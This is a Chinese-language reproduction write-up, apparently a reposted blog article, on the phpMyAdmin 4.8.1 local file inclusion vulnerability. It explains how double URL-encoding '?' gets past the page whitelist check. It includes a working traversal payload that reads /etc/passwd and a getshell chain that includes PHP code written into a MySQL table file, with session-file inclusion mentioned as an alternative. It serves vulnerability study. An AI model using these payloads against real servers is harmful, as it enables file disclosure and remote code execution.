phpmyadmin-4.8.1-复现分析
source link: http://www.lmxspace.com/2018/06/23/phpmyadmin-4-8-1-复现分析/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
0x02 影响版本
- phpmyadmin 4.8.1
0x03 利用条件
- 需要登陆
0x04 漏洞分析
这个漏洞是前两天chamd5公布的,然后呢,由于比较忙,第一时间没有看,趁着周末翻翻看看。
漏洞位置
漏洞位置在index.php 55~63行代码。
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
简单分析一下这段代码。
这里有个if判断,进入到 include $_REQUEST['target'];
之前需要经过5个判断:
1. $_REQUEST['target']
不能为空
2. $_REQUEST['target']
为字符串
3. $_REQUEST['target']
不能以index开头
4. $_REQUEST['target']
不在 $target_blacklist
数组内
5.需要满足 Core::checkPageValidity($_REQUEST['target'])
这里首先我们先看一下第4点 $target_blacklist
是个什么东西, $target_blacklist
在index.php的第50~52行
$target_blacklist = array ( 'import.php', 'export.php' );
所以这里第四点只要满足target 参数不是 import.php 或 export.php 就行。
然后第5点我们说到需要满足 Core::checkPageValidity($_REQUEST['target'])
,这里跟进一下看看 checkPageValidity
这个函数具体在干嘛。
函数具体位置在libraries\classes\core.php的443~476行
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }
问题出在了下面这串代码
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
这里会将page参数进行url解码,然后判断是否在 $whitelist
是的话返回true。
这里可以看看 $whitelist
有哪些。
if (empty($whitelist)) { $whitelist = self::$goto_whitelist; }
跟进 $goto_whitelist
看到下面这些白名单数组。
public static $goto_whitelist = array( 'db_datadict.php', 'db_sql.php', 'db_events.php', 'db_export.php', 'db_importdocsql.php', 'db_multi_table_query.php', 'db_structure.php', 'db_import.php', 'db_operations.php', 'db_search.php', 'db_routines.php', 'export.php', 'import.php', 'index.php', 'pdf_pages.php', 'pdf_schema.php', 'server_binlog.php', 'server_collations.php', 'server_databases.php', 'server_engines.php', 'server_export.php', 'server_import.php', 'server_privileges.php', 'server_sql.php', 'server_status.php', 'server_status_advisor.php', 'server_status_monitor.php', 'server_status_queries.php', 'server_status_variables.php', 'server_variables.php', 'sql.php', 'tbl_addfield.php', 'tbl_change.php', 'tbl_create.php', 'tbl_import.php', 'tbl_indexes.php', 'tbl_sql.php', 'tbl_export.php', 'tbl_operations.php', 'tbl_structure.php', 'tbl_relation.php', 'tbl_replace.php', 'tbl_row_action.php', 'tbl_select.php', 'tbl_zoom_select.php', 'transformation_overview.php', 'transformation_wrapper.php', 'user_password.php', );
漏洞利用
网上给的payload: db_sql.php%253/../../../../../../etc/passwd
中的db_sql.php可以用上述的白名单替换从而绕过。
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
这串主要使用 mb_strpos
查找 ?
第一次出现的位置,然后通过 mb_substr
函数第一位的数据,并且赋值给 $_page
然后与白名单进行比较。
这里有小问题,为什么要针对 ?
进行二次编码。
这里简化一下代码。
<?php echo $_REQUEST['target']; echo '<br>'; include $_REQUEST['target']; ?>
windows下测试
在windows下测试时候发现:
php会针对二次编码传入之后的参数,进行一次urldecode操作,然后可以成功包含,但是如果是一次编码,会报错,找不到文件。
mac下测试
我在mac下测试时候,通过网上的方法依然可以包含,但是我发现一个有趣的东西
我发现不通过编码的话,依然能够包含文件
getshell
chamd5中给的方法是将数据库查询数据写入到文件里。
show variables like ‘datadir‘
新建test1表,插入<?php phpinfo()?>
最后访问
http://192.168.31.240/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../phpStudy/MySQL/data/test/test1.frm
还有种简单的办法,包含session文件,php一般会在tmp下生成session 文件。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK